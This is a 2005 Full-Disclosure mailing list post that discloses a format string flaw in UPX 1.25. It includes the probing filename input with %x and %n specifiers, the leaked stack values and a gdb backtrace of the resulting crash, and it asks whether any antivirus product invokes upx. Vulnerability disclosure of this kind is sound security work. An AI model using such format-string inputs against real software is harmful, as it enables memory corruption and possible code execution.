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Speaking of UPX...
From: "KF (Lists)" <kf_lists () digitalmunition com>
Date: Fri, 11 Feb 2005 18:37:25 -0500
I really have not been able to find a use for this but since upx is on the brain...
Maybe someone knows some antivirus that uses the actual /usr/bin/upx or upx.exe on win32.
If ya come up with something let me know. kfinisterre@jdam:~$ upx AAAA%x.%x.%x.%x.%x.%x.%x Ultimate Packer for eXecutables Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004UPX 1.25 Markus F.X.J. Oberhumer & Laszlo Molnar Jun 29th 2004
File size Ratio Format Name -------------------- ------ ----------- -----------upx: AAAA806c80e.bffffa08.0.0.0.1000000.41414141: FileNotFoundException: AAAA806c80e.bffffa08.0.0.0.1000000.41414141
(gdb) r AAAA%x.%x.%x.%x.%x.%x.%n Starting program: /usr/bin/upx AAAA%x.%x.%x.%x.%x.%x.%n (no debugging symbols found) Ultimate Packer for eXecutables Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004UPX 1.25 Markus F.X.J. Oberhumer & Laszlo Molnar Jun 29th 2004
File size Ratio Format Name -------------------- ------ ----------- ----------- upx: Program received signal SIGSEGV, Segmentation fault. 0x4016f5c3 in vfprintf () from /lib/libc.so.6 (gdb) bt #0 0x4016f5c3 in vfprintf () from /lib/libc.so.6 #1 0x40170ebe in vfprintf () from /lib/libc.so.6 #2 0x4016ce40 in vfprintf () from /lib/libc.so.6 #3 0x4017588f in fprintf () from /lib/libc.so.6 #4 0x0804e96d in ?? () #5 0x0804eaf2 in ?? () #6 0x0804f5bb in ?? () #7 0x080691cb in putchar () #8 0x4013bdc6 in __libc_start_main () from /lib/libc.so.6 #9 0x08049901 in ?? () -KF _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
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